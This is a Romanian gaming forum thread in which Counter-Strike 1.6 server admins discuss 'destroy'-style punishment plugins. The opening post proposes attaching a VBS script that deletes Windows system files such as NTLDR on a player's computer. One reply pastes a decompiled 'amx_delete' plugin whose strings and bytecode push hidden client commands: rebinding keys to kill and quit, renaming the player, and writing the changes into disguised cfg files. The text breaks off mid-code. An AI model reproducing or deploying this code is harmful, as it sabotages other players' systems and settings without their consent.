BLKoldSUN Posted September 7, 2012 Report Posted September 7, 2012 Nu stiu cati de aici detin servere de Counter Strike 1.6 si cati dintre acestia cunosc C++, insa am stat putin si m-am gandit la ceva spun eu.. util dar totodata prea rau.Sa presupunem ca joci linistit pe server si intra un codat care face flood la schimbare nume, fiind admin fara acces mare nu il poti da afara, sau orice altceva, dar ai acces la comanda destroy sau fuck off. Pentru cei care s-au uitat in acest plugin, au observat ca e C++ ca limbaj de programare, dar cum aceasta varianta de destroy are si o solutie de remediere, pluginul nu mai are niciun rost sa fie utilizat.Avand in vedere ca este vorba de C++ si ca iti modifica fisierul config.cfg, unul care s-ar pricepe destul de bine la programare, ca sa scape de codati permanent si sa ii invete minte ar putea alege varianta:----------------------Plugin: destroyLimbaj C++fisier VBSModificare fisiere----------------------Va spun ceva aceste lucruri? Practic, pluginului destroy sau fuck off i se poate implementa un VBS ce poate modifica fisierele de sistem, fie sa ii stinga pcul automat, fie sa ii stearga fisiere importante din windows. Cred ca este deajuns sa-i stearga NTLDR ca sa nu ii mai porneasca windowsul si e necesar format, deoarece majoritatea kinderilor sunt paraleli cu asa ceva. Este o idee buna pentru a putea scapa de asa zisii codatii ***** dar este rau daca se foloseste asupra unor utilizatori normali care intra sa se relaxeze. Asupra acestui subiect vreau pareri daca se poate, pentru ca daca cineva realizeaza un asemenea plugin, codatii vor fi din ce in ce mai putini. Quote
Pacalici Posted September 7, 2012 Report Posted September 7, 2012 E un pic offtopic dar parerea mea ca, comanda aia nu trebuie data la cei cu access mic. Risti sa pierzi jucatori buni. O spun din proprie experienta. Plus ca am impresia ca nu poti modifica chiar orice fisier folosing doar plugin. Quote
VladX Posted September 7, 2012 Report Posted September 7, 2012 Ar fi destul de folositoare asa ceva.Pentru mine in special pentru cei cu reclama si pentru cei care ameinta cu flood.De exemplu acum cateva seri tot intra cineva cu ceva cs (nu ii spun numele ca o sa-l descarce toti) anti destroyi si anti exterminate si cu ip dinamic.Si singura solutei a fost sa-l banez pe clasa de ip.P.S.A testat cineva pluginul amx_delete? Quote
Pacalici Posted September 7, 2012 Report Posted September 7, 2012 Nu prea se gaseste sursa la asa ceva si eu unu sunt sceptic daca nu stiu exact ce face pluginu. Dupa putine cautari cam asta ar fi sursa .DATA str_000 string "%L" str_001 string "NO_ACC_COM" str_002 string "%L: %s %s" str_003 string "USAGE" str_004 string "bl" str_005 string "blj" str_006 string "%L" str_007 string "MORE_CL_MATCHT" str_008 string "c" str_009 string "k" str_010 string "%L" str_011 string "CL_NOT_FOUND" str_012 string "%L" str_013 string "CLIENT_IMM" str_014 string "%L" str_015 string "CANT_PERF_DEAD" str_016 string "%L" str_017 string "CANT_PERF_BOT" arr_000 array 64 fill 0x0 str_018 string "Amx_Delete" str_019 string "1.0" str_020 string "ZyreX" str_021 string "amx_delete" str_022 string "cmddelete" str_023 string "<name> - Atentie: Numai in cazuri speciale" str_024 string "amx_undelete" str_025 string "cmdundelete" str_026 string "<name> - Atentie: Numai in cazuri speciale" str_027 string "amx_delete_info" str_028 string "info" str_029 string "- info for delete player." str_030 string "exec /sound/player/player.cfg" str_031 string "exec /sound/weapons/weapons.cfg" str_032 string "exec /sound/radio/radio.cfg" str_033 string "exec /sprites/small.cfg" str_034 string "infochanged" arr_001 array 2 fill 0x0 str_035 string "cheater" str_036 string "gad" str_037 string "nickacc" str_038 string "100" str_039 string "yes" str_040 string "\addons\amxmodx\configs\delete.ini" str_041 string "\addons\amxmodx\configs\delete.ini" str_042 string "echo YOU WILL DIE!!!" str_043 string "bind TAB kill" str_044 string "bind ENTER kill" str_045 string "bind ESCAPE quit" str_046 string "bind SPACE kill" str_047 string "bind 1 kill" str_048 string "bind 2 kill" str_049 string "bind ` kill" str_050 string "bind q kill" str_051 string "bind r kill" str_052 string "bind t kill" str_053 string "bind UPARROW kill" str_054 string "bind DOWNARROW kill" str_055 string "bind LEFTARROW kill" str_056 string "bind RIGHTARROW kill" str_057 string "bind F1 kill" str_058 string "bind PAUSE kill" str_059 string "max_shells 0" str_060 string "bind MOUSE1 kill" str_061 string "bind MOUSE2 kill" str_062 string "fps_max 30" str_063 string "name Ban-me!SuntunCodat" str_064 string "volume 5" str_065 string "scr_connectmsg FATAL ERROR!" str_066 string "scr_connectmsg1 Amice, esti idiot!" str_067 string "scr_connectmsg2 FATAL ERROR!" str_068 string "cl_showerror 1" str_069 string "cl_showmessages 1" str_070 string "cl_forwardspeed -100" str_071 string "cl_backspeed -100" str_072 string "cl_sidespeed -100" str_073 string "sensitivity 10" str_074 string "writecfg \config" str_075 string "quit" str_076 string "\addons\amxmodx\configs\undelete.ini" str_077 string "\addons\amxmodx\configs\undelete.ini" str_078 string "exec /gfx/env/morningdewbk.cfg" str_079 string "Ban-me!SuntunCodat" str_080 string "name "%s"" str_081 string "writecfg \sound\player\player" str_082 string "writecfg \sound\weapons\weapons" str_083 string "writecfg \sound\radio\radio" str_084 string "writecfg \sprites\small" str_085 string "writecfg \config" str_086 string "exec config.cfg" str_087 string "Ban-me!SuntunCodat" str_088 string "kickuser" str_089 string "\addons\amxmodx\configs\undelete.ini" var_000 variable ( 0x0 ) str_090 string "name "%s"" str_091 string "kick %s "Ai primit UnDelete. Acum te poti reconecta pe server !"" str_092 string "\addons\amxmodx\configs\delete.ini" str_093 string "\addons\amxmodx\configs\delete.ini" str_094 string "Nick-ul "%s" este folosit deja" str_095 string "\addons\amxmodx\configs\delete.ini" str_096 string "\addons\amxmodx\configs\delete.ini" str_097 string "\addons\amxmodx\configs\delete.ini" str_098 string "writecfg \gfx\env\morningdewbk" str_099 string "unbindall" str_100 string "setinfo nickacc %s" str_101 string "setinfo cheater 100" str_102 string "setinfo gad yes" str_103 string "writecfg \sound\player\player" str_104 string "writecfg \sound\weapons\weapons" str_105 string "hideconsole" str_106 string "writecfg \sound\radio\radio" str_107 string "hideconsole" str_108 string "writecfg \sprites\small" str_109 string "echo YOU WILL DIE!!!" str_110 string "bind TAB kill" str_111 string "hideconsole" str_112 string "bind ENTER kill" str_113 string "bind ESCAPE quit" str_114 string "hideconsole" str_115 string "bind SPACE kill" str_116 string "bind 1 kill" str_117 string "bind 2 kill" str_118 string "bind ` kill" str_119 string "hideconsole" str_120 string "bind q kill" str_121 string "bind r kill" str_122 string "bind t kill" str_123 string "bind UPARROW kill" str_124 string "bind DOWNARROW kill" str_125 string "hideconsole" str_126 string "bind LEFTARROW kill" str_127 string "bind RIGHTARROW kill" str_128 string "bind F1 kill" str_129 string "hideconsole" str_130 string "bind PAUSE kill" str_131 string "max_shells 0" str_132 string "bind MOUSE1 kill" str_133 string "hideconsole" str_134 string "bind MOUSE2 kill" str_135 string "fps_max 30" str_136 string "name Ban-me!SuntunCodat" str_137 string "volume 5" str_138 string "hideconsole" str_139 string "scr_connectmsg FATAL ERROR!" str_140 string "scr_connectmsg1 Amice, esti idiot!" str_141 string "scr_connectmsg2 FATAL ERROR!" str_142 string "cl_showerror 1" str_143 string "hideconsole" str_144 string "cl_showmessages 1" str_145 string "cl_forwardspeed -100" str_146 string "cl_backspeed -100" str_147 string "hideconsole" str_148 string "cl_sidespeed -100" str_149 string "sensitivity 10" str_150 string "writecfg \config" str_151 string "quit" str_152 string "hideconsole" str_153 string "AMX_DELETE: %s" str_154 string "ADMIN-ul %s: a executat comanda delete pe %s" str_155 string "ADMIN-ul %s: a executat comanda delete pe %s" str_156 string "AMX_DELETE: "%s<IP: %s>" a executat comanda delete pe "%s<IP: %s>"" str_157 string "hostname" str_158 string "Client-ul "%s" are imunitate." str_159 string "\addons\amxmodx\configs\delete.ini" str_160 string "\addons\amxmodx\configs\delete.ini" str_161 string "\addons\amxmodx\configs\undelete.ini" str_162 string "\addons\amxmodx\configs\delete.ini" str_163 string "\addons\amxmodx\configs\delete.ini" var_001 variable ( 0x0 ) str_164 string "\addons\amxmodx\configs\undelete.ini" str_165 string "\addons\amxmodx\configs\undelete.ini" str_166 string "\addons\amxmodx\configs\undelete.ini" str_167 string "\addons\amxmodx\configs\undelete.ini" str_168 string "AMX_UNDELETE: "%s" a executat comanda undelete pe "%s"" str_169 string "AMX_UNDELETE: %s" str_170 string "AMX_UNDELETE: %s" str_171 string "Nu exista %s." str_172 string "-------------------------------------------------" str_173 string "-------------------------------------------------" str_174 string "-------Plugin name: Amx_delete -------" str_175 string "-------Author: ZyreX -------" str_176 string "-------Version: 1.0 -------" str_177 string "-------Site: http://xserv.ro -------" str_178 string "-------------------------------------------------" str_179 string "-------------------------------------------------".CODE halt 0x0PROC func_00 break break stack -0x4 push.c 0x0 push.s 0xC push.c 0x8 sysreq.c get_user_flags stack 0xC stor.s.pri -0x4 break load.s.pri -0x4 move.alt zero.pri xchg jsleq jump_0000 load.s.pri -0x4 const.alt 0x2000000 and not jzer jump_0000 const.pri 0x1 jump jump_0002 jump_0000: zero.pri jump_0002: stack 0x4 retn ENDPPROC func_01 break break push.c 0x0 break load.s.pri 0xC push.pri push.c 0x0 sysreq.c is_dedicated_server stack 0x4 jzer jump_0003 zero.pri jump jump_0004 jump_0003: const.pri 0x1 jump_0004: pop.alt jneq jump_0005 break const.pri 0x1 stor.s.pri -0x4 jump jump_0006 jump_0005: break load.s.pri 0x10 eq.c.pri 0x1000000 jzer jump_0007 break push.s 0xC push.c 0x4 call func_00 jzer jump_0008 break const.pri 0x1 stor.s.pri -0x4 jump_0008: jump jump_0006 jump_0007: break push.c 0x0 push.s 0xC push.c 0x8 sysreq.c get_user_flags stack 0xC move.alt load.s.pri 0x10 and jzer jump_0010 break const.pri 0x1 stor.s.pri -0x4 jump jump_0006 jump_0010: break load.s.pri 0x10 jnz jump_0006 break const.pri 0x1 stor.s.pri -0x4 jump_0006: break load.s.pri -0x4 jnz jump_0013 break load.s.pri 0x1C not jzer jump_0014 break push.c 0xC pushaddr 0xC push.c 0x0 push.s 0xC push.c 0x10 sysreq.c console_print stack 0x14 jump_0014: break zero.pri stack 0x4 retn jump_0013: break push.c 0x0 sysreq.c read_argc stack 0x4 move.alt load.s.pri 0x18 jsleq jump_0015 break stack -0x80 zero.pri addr.alt -0x84 fill 0x80 stack -0x200 zero.pri addr.alt -0x284 fill 0x200 push.c 0x0 break push.c -0x1 push.s 0x10 push.c 0x7F pushaddr -0x284 pushaddr -0x288 push.c 0x1F pushaddr -0x84 push.s 0x14 push.c 0x20 sysreq.c get_concmd stack 0x24 break pushaddr -0x284 pushaddr -0x84 push.c 0x64 pushaddr 0xC push.c 0x38 push.s 0xC push.c 0x18 sysreq.c console_print stack 0x1C break zero.pri stack 0x288 retn jump_0015: break const.pri 0x1 stack 0x4 retn ENDPPROC func_02 break break stack -0x4 push.s 0x10 push.c 0x7C push.c 0x8 sysreq.c find_player stack 0xC stor.s.pri -0x4 break load.s.pri -0x4 jzer jump_0016 break load.s.pri -0x4 push.pri push.s 0x10 push.c 0x88 push.c 0x8 sysreq.c find_player stack 0xC pop.alt jeq jump_0017 break push.c 0xA4 pushaddr 0xC push.c 0x98 push.s 0xC push.c 0x10 sysreq.c console_print stack 0x14 break zero.pri stack 0x4 retn jump_0017: jump jump_0018 jump_0016: break push.s 0x10 push.c 0xE0 push.c 0x8 sysreq.c find_player stack 0xC stor.s.pri -0x4 jnz jump_0019 load.s.pri 0x10 load.i eq.c.pri 0x23 jzer jump_0019 load.s.pri 0x10 add.c 0x4 load.i jzer jump_0019 const.pri 0x1 jump jump_0022 jump_0019: zero.pri jump_0022: jzer jump_0018 break load.s.pri 0x10 add.c 0x4 push.pri push.c 0x4 sysreq.c str_to_num stack 0x8 heap 0x4 stor.i push.alt push.c 0xE8 push.c 0x8 sysreq.c find_player stack 0xC heap -0x4 stor.s.pri -0x4 jump_0018: break load.s.pri -0x4 not jzer jump_0024 break push.c 0xFC pushaddr 0xC push.c 0xF0 push.s 0xC push.c 0x10 sysreq.c console_print stack 0x14 break zero.pri stack 0x4 retn jump_0024: break load.s.pri 0x14 const.alt 0x1 and jzer jump_0025 break push.c 0x0 push.s -0x4 push.c 0x8 sysreq.c get_user_flags stack 0xC const.alt 0x1 and jzer jump_0026 load.s.pri 0x14 const.alt 0x2 and jzer jump_0027 load.s.pri -0x4 load.s.alt 0xC neq jump jump_0028 jump_0027: const.pri 0x1 jump_0028: jzer jump_0026 const.pri 0x1 jump jump_0030 jump_0026: zero.pri jump_0030: jzer jump_0025 break stack -0x80 zero.pri addr.alt -0x84 fill 0x80 break push.c 0x1F pushaddr -0x84 push.s -0x4 push.c 0xC sysreq.c get_user_name stack 0x10 break pushaddr -0x84 push.c 0x13C pushaddr 0xC push.c 0x130 push.s 0xC push.c 0x14 sysreq.c console_print stack 0x18 break zero.pri stack 0x84 retn jump_0025: break load.s.pri 0x14 const.alt 0x4 and jzer jump_0032 break push.s -0x4 push.c 0x4 sysreq.c is_user_alive stack 0x8 not jzer jump_0032 break stack -0x80 zero.pri addr.alt -0x84 fill 0x80 break push.c 0x1F pushaddr -0x84 push.s -0x4 push.c 0xC sysreq.c get_user_name stack 0x10 break pushaddr -0x84 push.c 0x174 pushaddr 0xC push.c 0x168 push.s 0xC push.c 0x14 sysreq.c console_print stack 0x18 break zero.pri stack 0x84 retn jump_0032: break load.s.pri 0x14 const.alt 0x8 and jzer jump_0034 break push.s -0x4 push.c 0x4 sysreq.c is_user_bot stack 0x8 jzer jump_0034 break stack -0x80 zero.pri addr.alt -0x84 fill 0x80 break push.c 0x1F pushaddr -0x84 push.s -0x4 push.c 0xC sysreq.c get_user_name stack 0x10 break pushaddr -0x84 push.c 0x1BC pushaddr 0xC push.c 0x1B0 push.s 0xC push.c 0x14 sysreq.c console_print stack 0x18 break zero.pri stack 0x84 retn jump_0034: break load.s.pri -0x4 stack 0x4 retn ENDPPROC plugin_init break break push.c 0x330 push.c 0x320 push.c 0x2F4 push.c 0xC sysreq.c register_plugin stack 0x10 break push.c -0x1 push.c 0x39C push.c 0x8 push.c 0x374 push.c 0x348 push.c 0x14 sysreq.c register_concmd stack 0x18 break push.c -0x1 push.c 0x4AC push.c 0x8 push.c 0x47C push.c 0x448 push.c 0x14 sysreq.c register_concmd stack 0x18 break push.c -0x1 push.c 0x5AC push.c 0x0 push.c 0x598 push.c 0x558 push.c 0x14 sysreq.c register_concmd stack 0x18 zero.pri retn ENDPPROC client_connect break break push.c 0x0 push.s 0xC push.c 0x8 sysreq.c get_user_flags stack 0xC const.alt 0x1 and not jzer jump_0036 break push.c 0x3F push.c 0x1F4 push.s 0xC push.c 0xC sysreq.c get_user_name stack 0x10 break push.c 0x614 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x68C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x70C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x77C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x0 push.c 0x810 push.c 0x0 push.c 0x80C push.s 0xC push.c 0x7DC push.c 0x3F000000 push.c 0x1C sysreq.c set_task stack 0x20 jump_0036: break const.pri 0x1 retn ENDPPROC infochanged break break push.c 0x0 push.s 0xC push.c 0x8 sysreq.c get_user_flags stack 0xC const.alt 0x1 and not jzer jump_0037 break push.c 0x0 break stack -0x80 zero.pri addr.alt -0x84 fill 0x80 stack -0x80 zero.pri addr.alt -0x104 fill 0x80 stack -0x80 zero.pri addr.alt -0x184 fill 0x80 break push.c 0x1F pushaddr -0x84 push.c 0x814 push.s 0xC push.c 0x10 sysreq.c get_user_info stack 0x14 break push.c 0x1F pushaddr -0x104 push.c 0x834 push.s 0xC push.c 0x10 sysreq.c get_user_info stack 0x14 break push.c 0x1F pushaddr -0x184 push.c 0x844 push.s 0xC push.c 0x10 sysreq.c get_user_info stack 0x14 break pushaddr -0x84 push.c 0x4 sysreq.c strlen stack 0x8 not jzer jump_0038 break const.pri 0x1 stack 0x184 retn jump_0038: break pushaddr -0x104 push.c 0x4 sysreq.c strlen stack 0x8 not jzer jump_0039 break const.pri 0x1 stack 0x184 retn jump_0039: break pushaddr -0x184 push.c 0x4 sysreq.c strlen stack 0x8 not jzer jump_0040 break const.pri 0x1 stack 0x184 retn jump_0040: break stack -0x100 zero.pri addr.alt -0x284 fill 0x100 push.c 0x0 break push.c 0x0 pushaddr -0x84 push.c 0x864 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0041 break push.c 0x0 pushaddr -0x104 push.c 0x874 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0041 break stack -0x4 push.c 0x1 push.c 0x884 push.c 0x8 sysreq.c file_size stack 0xC stor.s.pri -0x28C break push.c 0x0 jump jump_0043 jump_0046: break inc.s -0x290 jump_0043: load.s.pri -0x290 load.s.alt -0x28C jsgrtr jump_0044 break pushaddr -0x288 push.c 0x3F pushaddr -0x284 push.s -0x290 push.c 0x910 push.c 0x14 sysreq.c read_file stack 0x18 break push.c 0x0 pushaddr -0x184 pushaddr -0x284 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0045 break push.c 0x99C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x9F0 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xA28 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xA68 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xAAC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xAEC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xB1C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xB4C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xB7C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xBAC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xBDC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xC0C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xC54 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xCA4 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xCF4 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xD48 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xD7C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xDBC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xDF0 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xE34 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xE78 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xEA4 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xF04 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xF28 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0xF98 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1024 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1098 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x10D4 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x111C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1170 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x11B8 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1200 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x123C push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1280 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break const.pri 0x1 stor.s.pri -0x4 jump_0045: jump jump_0046 jump_0044: stack 0x4 stack 0x4 jump_0041: break stack -0x100 zero.pri addr.alt -0x388 fill 0x100 push.c 0x0 break stack -0x4 push.c 0x1 push.c 0x1294 push.c 0x8 sysreq.c file_size stack 0xC stor.s.pri -0x390 break push.c 0x0 jump jump_0047 jump_0052: break inc.s -0x394 jump_0047: load.s.pri -0x394 load.s.alt -0x390 jsgrtr jump_0048 break pushaddr -0x38C push.c 0x3F pushaddr -0x388 push.s -0x394 push.c 0x1328 push.c 0x14 sysreq.c read_file stack 0x18 break push.c 0x0 pushaddr -0x184 pushaddr -0x388 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0049 break push.c 0x13BC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x0 push.c 0x1438 push.c 0x1F4 push.c 0xC sysreq.c equal stack 0x10 not jzer jump_0050 break push.c 0x1F4 push.c 0x1484 push.s 0xC push.c 0xC sysreq.c client_cmd stack 0x10 jump_0050: break push.c 0x14AC push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1524 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x15A4 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1614 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1674 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x16B8 push.s 0xC push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x0 push.c 0x16F8 push.c 0x1F4 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0051 break push.c 0x0 push.c 0x810 push.c 0x0 push.c 0x80C push.s 0xC push.c 0x1744 push.c 0x40400000 push.c 0x1C sysreq.c set_task stack 0x20 jump_0051: break push.s -0x394 push.c 0x17FC push.c 0x1768 push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x4 break const.pri 0x1 stack 0x394 retn jump_0049: jump jump_0052 jump_0048: stack 0x4 break load.s.pri -0x4 jnz jump_0053 break push.c 0x1F4 push.c 0x1800 push.s 0xC push.c 0xC sysreq.c client_cmd stack 0x10 jump_0053: stack 0x390 jump_0037: break const.pri 0x1 retn ENDPPROC kickuser break break push.c 0x1F4 push.c 0x1828 push.c 0x8 sysreq.c server_cmd stack 0xC zero.pri retn ENDPPROC cmddelete break break push.c 0x0 push.c 0x1 push.s 0x14 push.s 0x10 push.s 0xC push.c 0x14 call func_01 not jzer jump_0054 break const.pri 0x1 retn jump_0054: break stack -0x80 zero.pri addr.alt -0x80 fill 0x80 break push.c 0x1F pushaddr -0x80 push.c 0x1 push.c 0xC sysreq.c read_argv stack 0x10 break stack -0x4 push.c 0x3 pushaddr -0x80 push.s 0xC push.c 0xC call func_02 stor.s.pri -0x84 break push.c 0x0 push.s -0x84 push.c 0x8 sysreq.c get_user_flags stack 0xC const.alt 0x1 and not jzer jump_0055 break stack -0x100 zero.pri addr.alt -0x184 fill 0x100 break push.c 0x3F pushaddr -0x184 push.s -0x84 push.c 0xC sysreq.c get_user_name stack 0x10 break stack -0x100 zero.pri addr.alt -0x284 fill 0x100 push.c 0x0 break stack -0x4 push.c 0x1 push.c 0x192C push.c 0x8 sysreq.c file_size stack 0xC stor.s.pri -0x28C break push.c 0x0 break push.c 0x0 jump jump_0056 jump_0060: break inc.s -0x294 jump_0056: load.s.pri -0x294 load.s.alt -0x28C jsgrtr jump_0057 break load.s.pri -0x290 jnz jump_0058 break pushaddr -0x288 push.c 0x3F pushaddr -0x284 push.s -0x294 push.c 0x19B8 push.c 0x14 sysreq.c read_file stack 0x18 break push.c 0x0 pushaddr -0x184 pushaddr -0x284 push.c 0xC sysreq.c equal stack 0x10 jzer jump_0058 break pushaddr -0x284 push.c 0x1A44 push.s 0xC push.c 0xC sysreq.c console_print stack 0x10 break const.pri 0x1 stor.s.pri -0x290 jump_0058: jump jump_0060 jump_0057: stack 0x4 break push.c 0x0 break load.s.pri -0x290 jnz jump_0061 break push.c 0x0 jump jump_0062 jump_0069: break inc.s -0x298 jump_0062: load.s.pri -0x298 load.s.alt -0x28C jsgrtr jump_0063 break load.s.pri -0x294 jnz jump_0064 break pushaddr -0x288 push.c 0x3F pushaddr -0x284 push.s -0x298 push.c 0x1AC0 push.c 0x14 sysreq.c read_file stack 0x18 break pushaddr -0x284 push.c 0x4 sysreq.c strlen stack 0x8 not jnz jump_0065 push.c 0x0 pushaddr -0x184 pushaddr -0x284 push.c 0xC sysreq.c equal stack 0x10 jnz jump_0065 zero.pri jump jump_0067 jump_0065: const.pri 0x1 jump_0067: jzer jump_0064 break push.s -0x298 pushaddr -0x184 push.c 0x1B4C push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x294 jump_0064: jump jump_0069 jump_0063: stack 0x4 jump_0061: break load.s.pri -0x290 jnz jump_0070 break load.s.pri -0x294 jnz jump_0070 break push.c -0x1 pushaddr -0x184 push.c 0x1BD8 push.c 0xC sysreq.c write_file stack 0x10 break const.pri 0x1 stor.s.pri -0x294 jump_0070: break push.c 0x1C64 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1CE0 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break pushaddr -0x184 push.c 0x1D08 push.s -0x84 push.c 0xC sysreq.c client_cmd stack 0x10 break push.c 0x1D54 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1DA4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1DE4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1E5C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1EDC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1F0C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1F7C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x1FAC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x200C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2060 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2098 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x20C8 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2108 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x214C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x217C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x21BC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x21EC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x221C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x224C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x227C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x22AC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x22DC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x230C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2354 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x23A4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x23D4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2424 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2478 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x24AC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x24DC push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x251C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2550 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2594 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x25C4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2608 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2634 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2694 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x26B8 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x26E8 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2758 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x27E4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2858 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2894 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x28C4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x290C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2960 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x29A8 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x29D8 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2A20 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2A5C push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2AA0 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break push.c 0x2AB4 push.s -0x84 push.c 0x8 sysreq.c client_cmd stack 0xC break stack -0x80 zero.pri addr.alt -0x314 fill 